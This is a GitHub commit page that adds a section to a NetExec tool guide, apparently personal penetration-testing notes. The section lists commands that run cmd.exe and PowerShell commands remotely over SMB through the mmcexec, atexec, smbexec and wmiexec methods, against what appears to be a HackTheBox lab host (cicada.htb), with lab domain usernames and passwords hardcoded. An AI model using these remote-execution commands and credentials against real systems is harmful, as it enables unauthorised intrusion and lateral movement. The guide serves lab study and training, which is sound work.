Skip to content

Commit

Permalink
GITBOOK-640: change request with no subject merged in GitBook
Browse files Browse the repository at this point in the history
  • Loading branch information
ice-wzl authored and gitbook-bot committed Dec 1, 2024
1 parent 2e06196 commit 9c90af6
Showing 1 changed file with 49 additions and 0 deletions.
49 changes: 49 additions & 0 deletions tool-guides/netexec.md
Original file line number Diff line number Diff line change
Expand Up @@ -229,3 229,52 @@ LDAP 10.10.11.35 389 CICADA-DC emily.oscars
./nxc ldap 10.10.11.35 -d cicada.htb --dns-server 10.10.11.35 -u 'CICADA\michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --bloodhound
```

### Execution of Commands

* execute cmd.exe command

```
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -x whoami
```

* execute powershell command 

```
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' -X whoami
```

### mmcexec Execution

* cmd.exe and powershell.exe

```
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method mmcexec -x whoami
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method mmcexec -X whoami
```

### atexec Scheduled task execution 

* cmd.exe and powershell.exe

```
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method atexec -x dir
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method atexec -X dir
```

### smbexec command execution 

* cmd.exe and powershell.exe

```
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method smbexec -x dir
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method smbexec -X dir
```

### wmiexec command execution

* cmd.exe and powershell.exe

```
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method wmiexec -x dir
./nxc smb 10.10.11.35 -d cicada.htb -u 'CICADA\emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' --exec-method wmiexec -X dir
```

0 comments on commit 9c90af6

Please sign in to comment.